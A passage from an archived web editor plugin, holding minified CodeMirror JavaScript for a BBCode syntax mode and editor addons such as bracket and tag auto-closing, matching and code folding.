u=[],r=this.getSearchCursor(t,this.getCursor("from"),i);r.findNext();){if(n.cmpPos(r.to(),this.getCursor("to"))>0)break;u.push({anchor:r.from(),head:r.to()})}u.length&&this.setSelections(u,0)})})             editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/index.html                               0000705                 00000000054 15242051521 0022220 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.bbcodemixed.min.js       0000705                 00000003650 15242051521 0026704 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       CodeMirror.defineMode("bbcode",function(b){var e,a,g;e={bbCodeTags:"b i u s img quote code list table  tr td size color url",bbCodeUnaryTags:"* :-) hr cut"};if(b.hasOwnProperty("bbCodeTags")){e.bbCodeTags=b.bbCodeTags}if(b.hasOwnProperty("bbCodeUnaryTags")){e.bbCodeUnaryTags=b.bbCodeUnaryTags}var f={cont:function(i,h){g=h;return i},escapeRegEx:function(h){return h.replace(/([\:\-\)\(\*\+\?\[\]])/g,"\\$1")}};var d={validIdentifier:/[a-zA-Z0-9_]/,stringChar:/['"]/,tags:new RegExp("(?:"+f.escapeRegEx(e.bbCodeTags).split(" ").join("|")+")"),unaryTags:new RegExp("(?:"+f.escapeRegEx(e.bbCodeUnaryTags).split(" ").join("|")+")")};var c={tokenizer:function(i,h){if(i.eatSpace()){return null}if(i.match("[",true)){h.tokenize=c.bbcode;return f.cont("tag","startTag")}i.next();return null},inAttribute:function(h){return function(k,i){var l=null;var j=null;while(!k.eol()){j=k.peek();if(k.next()==h&&l!=="\\"){i.tokenize=c.bbcode;break}l=j}return"string"}},bbcode:function(k,i){if(a=k.match("]",true)){i.tokenize=c.tokenizer;return f.cont("tag",null)}if(k.match("[",true)){return f.cont("tag","startTag")}var h=k.next();if(d.stringChar.test(h)){i.tokenize=c.inAttribute(h);return f.cont("string","string")}else{if(/\d/.test(h)){k.eatWhile(/\d/);return f.cont("number","number")}else{if(i.last=="whitespace"){k.eatWhile(d.validIdentifier);return f.cont("attribute","modifier")}if(i.last=="property"){k.eatWhile(d.validIdentifier);return f.cont("property",null)}else{if(/\s/.test(h)){g="whitespace";return null}}var j="";if(h!="/"){j+=h}var l=null;while(l=k.eat(d.validIdentifier)){j+=l}if(d.unaryTags.test(j)){return f.cont("atom","atom")}if(d.tags.test(j)){return f.cont("keyword","keyword")}if(/\s/.test(h)){return null}return f.cont("tag","tag")}}}};return{startState:function(){return{tokenize:c.tokenizer,mode:"bbcode",last:null}},token:function(j,i){var h=i.tokenize(j,i);i.last=g;return h},electricChars:""}});CodeMirror.defineMIME("text/x-bbcode","bbcode");                                                                                        editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.addons.min.js                 0000705                 00000076010 15242051521 0024764 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)})(function(n){function r(n,t){return t=="pairs"&&typeof n=="string"?n:typeof n=="object"&&n[t]!=null?n[t]:o[t]}function h(n){return function(t){return a(t,n)}}function e(n){var t=n.state.closeBrackets,i;return t?(i=n.getModeAt(n.getCursor()),i.closeBrackets||t):null}function c(i){var c=e(i),l,f,h,u,o;if(!c||i.getOption("disableInput"))return n.Pass;for(l=r(c,"pairs"),f=i.listSelections(),u=0;u<f.length;u++)if(!f[u].empty()||(h=s(i,f[u].head),!h||l.indexOf(h)%2!=0))return n.Pass;for(u=f.length-1;u>=0;u--)o=f[u].head,i.replaceRange("",t(o.line,o.ch-1),t(o.line,o.ch+1))}function l(t){var o=e(t),h=o&&r(o,"explode"),i,u,f;if(!h||t.getOption("disableInput"))return n.Pass;for(i=t.listSelections(),u=0;u<i.length;u++)if(!i[u].empty()||(f=s(t,i[u].head),!f||h.indexOf(f)%2!=0))return n.Pass;t.operation(function(){var n,r;for(t.replaceSelection("\n\n",null),t.execCommand("goCharLeft"),i=t.listSelections(),n=0;n<i.length;n++)r=i[n].head.line,t.indentLine(r,null,!0),t.indentLine(r+1,null,!0)})}function a(i,u){var b=e(i),l,o,p,h,w;if(!b||i.getOption("disableInput")||(l=r(b,"pairs"),o=l.indexOf(u),o==-1))return n.Pass;var g=r(b,"triples"),k=l.charAt(o+1)==u,nt=i.listSelections(),d=o%2==0,s,a;for(p=0;p<nt.length;p++){var tt=nt[p],f=tt.head,c,a=i.getRange(f,t(f.line,f.ch+1));if(d&&!tt.empty())c="surround";else if((k||!d)&&a==u)c=g.indexOf(u)>=0&&i.getRange(f,t(f.line,f.ch+3))==u+u+u?"skipThree":"skip";else if(k&&f.ch>1&&g.indexOf(u)>=0&&i.getRange(t(f.line,f.ch-2),f)==u+u&&(f.ch<=2||i.getRange(t(f.line,f.ch-3),t(f.line,f.ch-2))!=u))c="addFour";else if(k)if(!n.isWordChar(a)&&y(i,f,u))c="both";else return n.Pass;else if(d&&(i.getLine(f.line).length==f.ch||v(a,l)||/\s/.test(a)))c="both";else return n.Pass;if(s){if(s!=c)return n.Pass}else s=c}h=o%2?l.charAt(o-1):u;w=o%2?u:l.charAt(o+1);i.operation(function(){var t,n;if(s=="skip")i.execCommand("goCharRight");else if(s=="skipThree")for(n=0;n<3;n++)i.execCommand("goCharRight");else if(s=="surround"){for(t=i.getSelections(),n=0;n<t.length;n++)t[n]=h+t[n]+w;i.replaceSelections(t,"around")}else s=="both"?(i.replaceSelection(h+w,null),i.triggerElectric(h+w),i.execCommand("goCharLeft")):s=="addFour"&&(i.replaceSelection(h+h+h+h,"before"),i.execCommand("goCharRight"))})}function v(n,t){var i=t.lastIndexOf(n);return i>-1&&i%2==1}function s(n,i){var r=n.getRange(t(i.line,i.ch-1),t(i.line,i.ch+1));return r.length==2?r:null}function y(t,i,r){var e=t.getLine(i.line),f=t.getTokenAt(i),u,o;if(/\bstring2?\b/.test(f.type))return!1;for(u=new n.StringStream(e.slice(0,i.ch)+r+e.slice(i.ch),4),u.pos=u.start=f.start;;){if(o=t.getMode().token(u,f.state),u.pos>=i.ch+1)return/\bstring2?\b/.test(o);u.start=u.pos}}var o={pairs:"()[]{}''\"\"",triples:"",explode:"[]{}"},t=n.Pos,u,f,i;for(n.defineOption("autoCloseBrackets",!1,function(t,i,r){r&&r!=n.Init&&(t.removeKeyMap(f),t.state.closeBrackets=null);i&&(t.state.closeBrackets=i,t.addKeyMap(f))}),u=o.pairs+"`",f={Backspace:c,Enter:l},i=0;i<u.length;i++)f["'"+u.charAt(i)+"'"]=h(u.charAt(i))}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror"),require("../fold/xml-fold")):typeof define=="function"&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],n):n(CodeMirror)}(function(n){function e(t){var h,p,b,y,e,l,k;if(t.getOption("disableInput"))return n.Pass;for(h=t.listSelections(),p=[],e=0;e<h.length;e++){if(!h[e].empty())return n.Pass;var s=h[e].head,o=t.getTokenAt(s),w=n.innerMode(t.getMode(),o.state),a=w.state;if(w.mode.name!="xml"||!a.tagName)return n.Pass;var v=t.getOption("autoCloseTags"),d=w.mode.configuration=="html",g=typeof v=="object"&&v.dontCloseTags||d&&u,nt=typeof v=="object"&&v.indentTags||d&&f,c=a.tagName;if(o.end>s.ch&&(c=c.slice(0,c.length-o.end+s.ch)),b=c.toLowerCase(),!c||o.type=="string"&&(o.end!=s.ch||!/[\"\']/.test(o.string.charAt(o.string.length-1))||o.string.length==1)||o.type=="tag"&&a.type=="closeTag"||o.string.indexOf("/")==o.string.length-1||g&&i(g,b)>-1||r(t,c,s,a,!0))return n.Pass;y=nt&&i(nt,b)>-1;p[e]={indent:y,text:">"+(y?"\n\n":"")+"<\/"+c+">",newPos:y?n.Pos(s.line+1,0):n.Pos(s.line,s.ch+1)}}for(e=h.length-1;e>=0;e--)l=p[e],t.replaceRange(l.text,h[e].head,h[e].anchor,"+insert"),k=t.listSelections().slice(0),k[e]={head:l.newPos,anchor:l.newPos},t.setSelections(k),l.indent&&(t.indentLine(l.newPos.line,null,!0),t.indentLine(l.newPos.line+1,null,!0))}function t(t,i){for(var f=t.listSelections(),o=[],c=i?"/":"<\/",u=0;u<f.length;u++){if(!f[u].empty())return n.Pass;var l=f[u].head,s=t.getTokenAt(l),h=n.innerMode(t.getMode(),s.state),e=h.state;if(i&&(s.type=="string"||s.string.charAt(0)!="<"||s.start!=l.ch-1))return n.Pass;if(h.mode.name!="xml")if(t.getMode().name=="htmlmixed"&&h.mode.name=="javascript")o[u]=c+"script>";else if(t.getMode().name=="htmlmixed"&&h.mode.name=="css")o[u]=c+"style>";else return n.Pass;else{if(!e.context||!e.context.tagName||r(t,e.context.tagName,l,e))return n.Pass;o[u]=c+e.context.tagName+">"}}for(t.replaceSelections(o),f=t.listSelections(),u=0;u<f.length;u++)(u==f.length-1||f[u].head.line<f[u+1].head.line)&&t.indentLine(f[u].head.line)}function o(i){return i.getOption("disableInput")?n.Pass:t(i,!0)}function i(n,t){if(n.indexOf)return n.indexOf(t);for(var i=0,r=n.length;i<r;++i)if(n[i]==t)return i;return-1}function r(t,i,r,u,f){var h,o,e,c,l,s;if(!n.scanForClosingTag||(h=Math.min(t.lastLine()+1,r.line+500),o=n.scanForClosingTag(t,r,null,h),!o||o.tag!=i))return!1;for(e=u.context,c=f?1:0;e&&e.tagName==i;e=e.prev)++c;for(r=o.to,l=1;l<c;l++){if(s=n.scanForClosingTag(t,r,null,h),!s||s.tag!=i)return!1;r=s.to}return!0}n.defineOption("autoCloseTags",!1,function(t,i,r){if(r!=n.Init&&r&&t.removeKeyMap("autoCloseTags"),i){var u={name:"autoCloseTags"};(typeof i!="object"||i.whenClosing)&&(u["'/'"]=function(n){return o(n)});(typeof i!="object"||i.whenOpening)&&(u["'>'"]=function(n){return e(n)});t.addKeyMap(u)}});var u=["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"],f=["applet","blockquote","body","button","div","dl","fieldset","form","frameset","h1","h2","h3","h4","h5","h6","head","html","iframe","layer","legend","object","ol","p","select","table","ul"];n.commands.closeTag=function(n){return t(n)}}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){function r(t){var o,i,v,h,s,f,y,r,l,c,p,a,e;if(t.getOption("disableInput"))return n.Pass;for(o=t.listSelections(),v=[],h=0;h<o.length;h++){if(s=o[h].head,f=t.getTokenAt(s),f.type!="comment")return n.Pass;if(y=n.innerMode(t.getMode(),f.state).mode,i){if(i!=y)return n.Pass}else i=y;if(r=null,i.blockCommentStart&&i.blockCommentContinue){if(l=f.string.indexOf(i.blockCommentEnd),c=t.getRange(n.Pos(s.line,0),n.Pos(s.line,f.end)),l==-1||l!=f.string.length-i.blockCommentEnd.length||!(s.ch>=l))if(f.string.indexOf(i.blockCommentStart)==0){if(r=c.slice(0,f.start),!/^\s*$/.test(r))for(r="",p=0;p<f.start;++p)r+=" "}else(e=c.indexOf(i.blockCommentContinue))!=-1&&e+i.blockCommentContinue.length>f.start&&/^\s*$/.test(c.slice(0,e))&&(r=c.slice(0,e));r!=null&&(r+=i.blockCommentContinue)}if(r==null&&i.lineComment&&u(t)&&(a=t.getLine(s.line),e=a.indexOf(i.lineComment),e>-1&&(r=a.slice(0,e),/\S/.test(r)?r=null:r+=i.lineComment+a.slice(e+i.lineComment.length).match(/^\s*/)[0])),r==null)return n.Pass;v[h]="\n"+r}t.operation(function(){for(var n=o.length-1;n>=0;n--)t.replaceRange(v[n],o[n].from(),o[n].to(),"+insert")})}function u(n){var t=n.getOption("continueComments");return t&&typeof t=="object"?t.continueLineComment!==!1:!0}for(var i=["clike","css","javascript"],t=0;t<i.length;++t)n.extendMode(i[t],{blockCommentContinue:" * "});n.defineOption("continueComments",null,function(t,i,u){var f,e;u&&u!=n.Init&&t.removeKeyMap("continueComment");i&&(f="Enter",typeof i=="string"?f=i:typeof i=="object"&&i.key&&(f=i.key),e={name:"continueComment"},e[f]=r,t.addKeyMap(e))})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){function u(n,i,u,e){var l=n.getLineHandle(i.line),o=i.ch-1,c=o>=0&&r[l.text.charAt(o)]||r[l.text.charAt(++o)],h,a,s;return c?(h=c.charAt(1)==">"?1:-1,u&&h>0!=(o==i.ch))?null:(a=n.getTokenTypeAt(t(i.line,o+1)),s=f(n,t(i.line,o+(h>0?1:0)),h,a||null,e),s==null)?null:{from:t(i.line,o),to:s&&s.pos,match:s&&s.ch==c.charAt(0),forward:h>0}:null}function f(n,i,u,f,e){for(var h,s,v,c,y,p=e&&e.maxScanLineLength||1e4,a=e&&e.maxScanLines||1e3,l=[],w=e&&e.bracketRegex?e.bracketRegex:/[(){}[\]]/,b=u>0?Math.min(i.line+a,n.lastLine()+1):Math.max(n.firstLine()-1,i.line-a),o=i.line;o!=b;o+=u)if((h=n.getLine(o),h)&&(s=u>0?0:h.length-1,v=u>0?h.length:-1,!(h.length>p)))for(o==i.line&&(s=i.ch-(u<0?1:0));s!=v;s+=u)if(c=h.charAt(s),w.test(c)&&(f===undefined||n.getTokenTypeAt(t(o,s+1))==f))if(y=r[c],y.charAt(1)==">"==u>0)l.push(c);else if(l.length)l.pop();else return{pos:t(o,s),ch:c};return o-u==(u>0?n.lastLine():n.firstLine())?!1:null}function e(n,i,r){for(var f,c,l,a=n.state.matchBrackets.maxHighlightLineLength||1e3,e=[],h=n.listSelections(),o=0;o<h.length;o++)f=h[o].empty()&&u(n,h[o].head,!1,r),f&&n.getLine(f.from.line).length<=a&&(c=f.match?"CodeMirror-matchingbracket":"CodeMirror-nonmatchingbracket",e.push(n.markText(f.from,t(f.from.line,f.from.ch+1),{className:c})),f.to&&n.getLine(f.to.line).length<=a&&e.push(n.markText(f.to,t(f.to.line,f.to.ch+1),{className:c})));if(e.length)if(s&&n.state.focused&&n.focus(),l=function(){n.operation(function(){for(var n=0;n<e.length;n++)e[n].clear()})},i)setTimeout(l,800);else return l}function o(n){n.operation(function(){i&&(i(),i=null);i=e(n,!1,n.state.matchBrackets)})}var s=/MSIE \d/.test(navigator.userAgent)&&(document.documentMode==null||document.documentMode<8),t=n.Pos,r={"(":")>",")":"(<","[":"]>","]":"[<","{":"}>","}":"{<"},i=null;n.defineOption("matchBrackets",!1,function(t,i,r){if(r&&r!=n.Init&&t.off("cursorActivity",o),i){t.state.matchBrackets=typeof i=="object"?i:{};t.on("cursorActivity",o)}});n.defineExtension("matchBrackets",function(){e(this,!0)});n.defineExtension("findMatchingBracket",function(n,t,i){return u(this,n,t,i)});n.defineExtension("scanForBracket",function(n,t,i,r){return f(this,n,t,i,r)})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror"),require("../fold/xml-fold")):typeof define=="function"&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],n):n(CodeMirror)}(function(n){"use strict";function i(n){n.state.tagHit&&n.state.tagHit.clear();n.state.tagOther&&n.state.tagOther.clear();n.state.tagHit=n.state.tagOther=null}function t(t){t.state.failedTagMatch=!1;t.operation(function(){var f,u,r,e,o;(i(t),t.somethingSelected())||(f=t.getCursor(),u=t.getViewport(),u.from=Math.min(u.from,f.line),u.to=Math.max(f.line+1,u.to),r=n.findMatchingTag(t,f,u),r)&&(t.state.matchBothTags&&(e=r.at=="open"?r.open:r.close,e&&(t.state.tagHit=t.markText(e.from,e.to,{className:"CodeMirror-matchingtag"}))),o=r.at=="close"?r.open:r.close,o?t.state.tagOther=t.markText(o.from,o.to,{className:"CodeMirror-matchingtag"}):t.state.failedTagMatch=!0)})}function r(n){n.state.failedTagMatch&&t(n)}n.defineOption("matchTags",!1,function(u,f,e){if(e&&e!=n.Init&&(u.off("cursorActivity",t),u.off("viewportChange",r),i(u)),f){u.state.matchBothTags=typeof f=="object"&&f.bothTags;u.on("cursorActivity",t);u.on("viewportChange",r);t(u)}});n.commands.toMatchingTag=function(t){var i=n.findMatchingTag(t,t.getCursor()),r;i&&(r=i.at=="close"?i.open:i.close,r&&t.extendSelection(r.to,r.from))}}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){n.defineOption("showTrailingSpace",!1,function(t,i,r){r==n.Init&&(r=!1);r&&!i?t.removeOverlay("trailingspace"):!r&&i&&t.addOverlay({token:function(n){for(var i=n.string.length,t=i;t&&/\s/.test(n.string.charAt(t-1));--t);return t>n.pos?(n.pos=t,null):(n.pos=i,"trailingspace")},name:"trailingspace"})})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";function i(i,u,f,e){function a(n){var t=s(i,u),f,r;if(!t||t.to.line-t.from.line<l)return null;for(f=i.findMarksAt(t.from),r=0;r<f.length;++r)if(f[r].__isFold&&e!=="fold"){if(!n)return null;t.cleared=!0;f[r].clear()}return t}var s,l,o,h,c;if(f&&f.call?(s=f,f=null):s=t(i,f,"rangeFinder"),typeof u=="number"&&(u=n.Pos(u,0)),l=t(i,f,"minFoldSize"),o=a(!0),t(i,f,"scanUp"))while(!o&&u.line>i.firstLine())u=n.Pos(u.line-1,0),o=a(!1);if(o&&!o.cleared&&e!=="unfold"){h=r(i,f);n.on(h,"mousedown",function(t){c.clear();n.e_preventDefault(t)});c=i.markText(o.from,o.to,{replacedWith:h,clearOnEnter:!0,__isFold:!0});c.on("clear",function(t,r){n.signal(i,"unfold",i,t,r)});n.signal(i,"fold",i,o.from,o.to)}}function r(n,i){var r=t(n,i,"widget"),u;return typeof r=="string"&&(u=document.createTextNode(r),r=document.createElement("span"),r.appendChild(u),r.className="CodeMirror-foldmarker"),r}function t(n,t,i){if(t&&t[i]!==undefined)return t[i];var r=n.options.foldOptions;return r&&r[i]!==undefined?r[i]:u[i]}n.newFoldFunction=function(n,t){return function(r,u){i(r,u,{rangeFinder:n,widget:t})}};n.defineExtension("foldCode",function(n,t,r){i(this,n,t,r)});n.defineExtension("isFolded",function(n){for(var i=this.findMarksAt(n),t=0;t<i.length;++t)if(i[t].__isFold)return!0});n.commands.toggleFold=function(n){n.foldCode(n.getCursor())};n.commands.fold=function(n){n.foldCode(n.getCursor(),null,"fold")};n.commands.unfold=function(n){n.foldCode(n.getCursor(),null,"unfold")};n.commands.foldAll=function(t){t.operation(function(){for(var i=t.firstLine(),r=t.lastLine();i<=r;i++)t.foldCode(n.Pos(i,0),null,"fold")})};n.commands.unfoldAll=function(t){t.operation(function(){for(var i=t.firstLine(),r=t.lastLine();i<=r;i++)t.foldCode(n.Pos(i,0),null,"unfold")})};n.registerHelper("fold","combine",function(){var n=Array.prototype.slice.call(arguments,0);return function(t,i){for(var u,r=0;r<n.length;++r)if(u=n[r](t,i),u)return u}});n.registerHelper("fold","auto",function(n,t){for(var r,u=n.getHelpers(t,"fold"),i=0;i<u.length;i++)if(r=u[i](n,t),r)return r});var u={rangeFinder:n.fold.auto,widget:"↔",minFoldSize:0,scanUp:!1};n.defineOption("foldOptions",null);n.defineExtension("foldOption",function(n,i){return t(this,n,i)})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror"),require("./foldcode")):typeof define=="function"&&define.amd?define(["../../lib/codemirror","./foldcode"],n):n(CodeMirror)}(function(n){"use strict";function c(n){this.options=n;this.from=this.to=0}function l(n){return n===!0&&(n={}),n.gutter==null&&(n.gutter="CodeMirror-foldgutter"),n.indicatorOpen==null&&(n.indicatorOpen="CodeMirror-foldgutter-open"),n.indicatorFolded==null&&(n.indicatorFolded="CodeMirror-foldgutter-folded"),n}function f(n,t){for(var r=n.findMarksAt(u(t)),i=0;i<r.length;++i)if(r[i].__isFold&&r[i].find().from.line==t)return r[i]}function e(n){if(typeof n=="string"){var t=document.createElement("div");return t.className=n+" CodeMirror-guttermarker-subtle",t}return n.cloneNode(!0)}function i(n,t,i){var r=n.state.foldGutter.options,o=t,h=n.foldOption(r,"minFoldSize"),s=n.foldOption(r,"rangeFinder");n.eachLine(t,i,function(t){var c=null,l,i;f(n,o)?c=e(r.indicatorFolded):(l=u(o,0),i=s&&s(n,l),i&&i.to.line-i.from.line>=h&&(c=e(r.indicatorOpen)));n.setGutterMarker(t,r.gutter,c);++o})}function t(n){var t=n.getViewport(),r=n.state.foldGutter;r&&(n.operation(function(){i(n,t.from,t.to)}),r.from=t.from,r.to=t.to)}function o(n,t,i){var o=n.state.foldGutter,r,e;o&&(r=o.options,i==r.gutter)&&(e=f(n,t),e?e.clear():n.foldCode(u(t,0),r.rangeFinder))}function s(n){var i=n.state.foldGutter,r;i&&(r=i.options,i.from=i.to=0,clearTimeout(i.changeUpdate),i.changeUpdate=setTimeout(function(){t(n)},r.foldOnChangeTimeSpan||600))}function h(n){var r=n.state.foldGutter,u;r&&(u=r.options,clearTimeout(r.changeUpdate),r.changeUpdate=setTimeout(function(){var u=n.getViewport();r.from==r.to||u.from-r.to>20||r.from-u.to>20?t(n):n.operation(function(){u.from<r.from&&(i(n,u.from,r.from),r.from=u.from);u.to>r.to&&(i(n,r.to,u.to),r.to=u.to)})},u.updateViewportTimeSpan||400))}function r(n,t){var u=n.state.foldGutter,r;u&&(r=t.line,r>=u.from&&r<u.to&&i(n,r,r+1))}n.defineOption("foldGutter",!1,function(i,u,f){if(f&&f!=n.Init&&(i.clearGutter(i.state.foldGutter.options.gutter),i.state.foldGutter=null,i.off("gutterClick",o),i.off("change",s),i.off("viewportChange",h),i.off("fold",r),i.off("unfold",r),i.off("swapDoc",t)),u){i.state.foldGutter=new c(l(u));t(i);i.on("gutterClick",o);i.on("change",s);i.on("viewportChange",h);i.on("fold",r);i.on("unfold",r);i.on("swapDoc",t)}});var u=n.Pos}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";n.registerHelper("fold","brace",function(t,i){function p(r){for(var u,e=i.ch,o=0;;){if(u=e<=0?-1:y.lastIndexOf(r,e-1),u==-1){if(o==1)break;o=1;e=y.length;continue}if(o==1&&u<i.ch)break;if(l=t.getTokenTypeAt(n.Pos(f,u+1)),!/^(comment|string)/.test(l))return u+1;e=u-1}}var f=i.line,y=t.getLine(f),l,w="{",b="}",e=p("{"),a,k,h,v,u,o,r,s,c;if(e==null&&(w="[",b="]",e=p("[")),e!=null){a=1;k=t.lastLine();n:for(u=f;u<=k;++u)for(o=t.getLine(u),r=u==f?e:0;;){if(s=o.indexOf(w,r),c=o.indexOf(b,r),s<0&&(s=o.length),c<0&&(c=o.length),r=Math.min(s,c),r==o.length)break;if(t.getTokenTypeAt(n.Pos(u,r+1))==l)if(r==s)++a;else if(!--a){h=u;v=r;break n}++r}if(h!=null&&(f!=h||v!=e))return{from:n.Pos(f,e),to:n.Pos(h,v)}}});n.registerHelper("fold","import",function(t,i){function r(i){var r,u,e,o,f;if(i<t.firstLine()||i>t.lastLine()||(r=t.getTokenAt(n.Pos(i,1)),/\S/.test(r.string)||(r=t.getTokenAt(n.Pos(i,r.end+1))),r.type!="keyword"||r.string!="import"))return null;for(u=i,e=Math.min(t.lastLine(),i+10);u<=e;++u)if(o=t.getLine(u),f=o.indexOf(";"),f!=-1)return{startCh:r.end,end:n.Pos(u,f)}}var i=i.line,f=r(i),o,u,e;if(!f||r(i-1)||(o=r(i-2))&&o.end.line==i-1)return null;for(u=f.end;;){if(e=r(u.line+1),e==null)break;u=e.end}return{from:t.clipPos(n.Pos(i,f.startCh+1)),to:u}});n.registerHelper("fold","include",function(t,i){function u(i){if(i<t.firstLine()||i>t.lastLine())return null;var r=t.getTokenAt(n.Pos(i,1));return/\S/.test(r.string)||(r=t.getTokenAt(n.Pos(i,r.end+1))),r.type=="meta"&&r.string.slice(0,8)=="#include"?r.start+8:void 0}var i=i.line,f=u(i),r,e;if(f==null||u(i-1)!=null)return null;for(r=i;;){if(e=u(r+1),e==null)break;++r}return{from:n.Pos(i,f+1),to:t.clipPos(n.Pos(r))}})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";n.registerGlobalHelper("fold","comment",function(n){return n.blockCommentStart&&n.blockCommentEnd},function(t,i){var k=t.getModeAt(i),c=k.blockCommentStart,d=k.blockCommentEnd,u,p,l,s,a,f,w,g,v,b,e,o,r,h,y;if(c&&d){for(u=i.line,p=t.getLine(u),s=i.ch,a=0;;){if(f=s<=0?-1:p.lastIndexOf(c,s-1),f==-1){if(a==1)return;a=1;s=p.length;continue}if(a==1&&f<i.ch)return;if(/comment/.test(t.getTokenTypeAt(n.Pos(u,f+1)))){l=f+c.length;break}s=f-1}w=1;g=t.lastLine();n:for(e=u;e<=g;++e)for(o=t.getLine(e),r=e==u?l:0;;){if(h=o.indexOf(c,r),y=o.indexOf(d,r),h<0&&(h=o.length),y<0&&(y=o.length),r=Math.min(h,y),r==o.length)break;if(r==h)++w;else if(!--w){v=e;b=r;break n}++r}if(v!=null&&(u!=v||b!=l))return{from:n.Pos(u,l),to:n.Pos(v,b)}}})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";n.registerHelper("fold","indent",function(t,i){var c=t.getOption("tabSize"),f=t.getLine(i.line),r,s,e,h;if(/\S/.test(f)){var o=function(t){return n.countColumn(t,null,c)},l=o(f),u=null;for(r=i.line+1,s=t.lastLine();r<=s;++r)if(e=t.getLine(r),h=o(e),h>l)u=r;else if(/\S/.test(e))break;if(u)return{from:n.Pos(i.line,f.length),to:n.Pos(u,t.getLine(u).length)}}})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";function v(n,t){return n.line-t.line||n.ch-t.ch}function i(n,t,i,r){this.line=t;this.ch=i;this.cm=n;this.text=n.getLine(t);this.min=r?r.from:n.firstLine();this.max=r?r.to-1:n.lastLine()}function u(n,i){var r=n.cm.getTokenTypeAt(t(n.line,i));return r&&/\btag\b/.test(r)}function h(n){if(!(n.line>=n.max))return n.ch=0,n.text=n.cm.getLine(++n.line),!0}function c(n){if(!(n.line<=n.min))return n.text=n.cm.getLine(--n.line),n.ch=n.text.length,!0}function e(n){for(var t,i,r;;){if(t=n.text.indexOf(">",n.ch),t==-1)if(h(n))continue;else return;if(!u(n,t+1)){n.ch=t+1;continue}return i=n.text.lastIndexOf("/",t),r=i>-1&&!/\S/.test(n.text.slice(i+1,t)),n.ch=t+1,r?"selfClose":"regular"}}function o(n){for(var t,i;;){if(t=n.ch?n.text.lastIndexOf("<",n.ch-1):-1,t==-1)if(c(n))continue;else return;if(!u(n,t+1)){n.ch=t;continue}if(r.lastIndex=t,n.ch=t,i=r.exec(n.text),i&&i.index==t)return i}}function l(n){for(;;){r.lastIndex=n.ch;var t=r.exec(n.text);if(!t)if(h(n))continue;else return;if(!u(n,t.index+1)){n.ch=t.index+1;continue}return n.ch=t.index+t[0].length,t}}function p(n){for(var t,i,r;;){if(t=n.ch?n.text.lastIndexOf(">",n.ch-1):-1,t==-1)if(c(n))continue;else return;if(!u(n,t+1)){n.ch=t;continue}return i=n.text.lastIndexOf("/",t),r=i>-1&&!/\S/.test(n.text.slice(i+1,t)),n.ch=t+1,r?"selfClose":"regular"}}function f(n,i){for(var f=[],u;;){var r=l(n),o,s=n.line,h=n.ch-(r?r[0].length:0);if(!r||!(o=e(n)))return;if(o!="selfClose")if(r[1]){for(u=f.length-1;u>=0;--u)if(f[u]==r[2]){f.length=u;break}if(u<0&&(!i||i==r[2]))return{tag:r[2],from:t(s,h),to:t(n.line,n.ch)}}else f.push(r[2])}}function a(n,i){for(var f=[],e,u;;){if(e=p(n),!e)return;if(e=="selfClose"){o(n);continue}var s=n.line,h=n.ch,r=o(n);if(!r)return;if(r[1])f.push(r[2]);else{for(u=f.length-1;u>=0;--u)if(f[u]==r[2]){f.length=u;break}if(u<0&&(!i||i==r[2]))return{tag:r[2],from:t(n.line,n.ch),to:t(s,h)}}}}var t=n.Pos,s="A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD",y=s+"-:.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040",r=new RegExp("<(/?)(["+s+"]["+y+"]*)","g");n.registerHelper("fold","xml",function(n,r){for(var u=new i(n,r.line,0),o,h,r,s;;){if(o=l(u),!o||u.line!=r.line||!(h=e(u)))return;if(!o[1]&&h!="selfClose")return r=t(u.line,u.ch),s=f(u,o[2]),s&&{from:r,to:s.from}}});n.findMatchingTag=function(n,r,u){var s=new i(n,r.line,r.ch,u),l;if(s.text.indexOf(">")!=-1||s.text.indexOf("<")!=-1){var 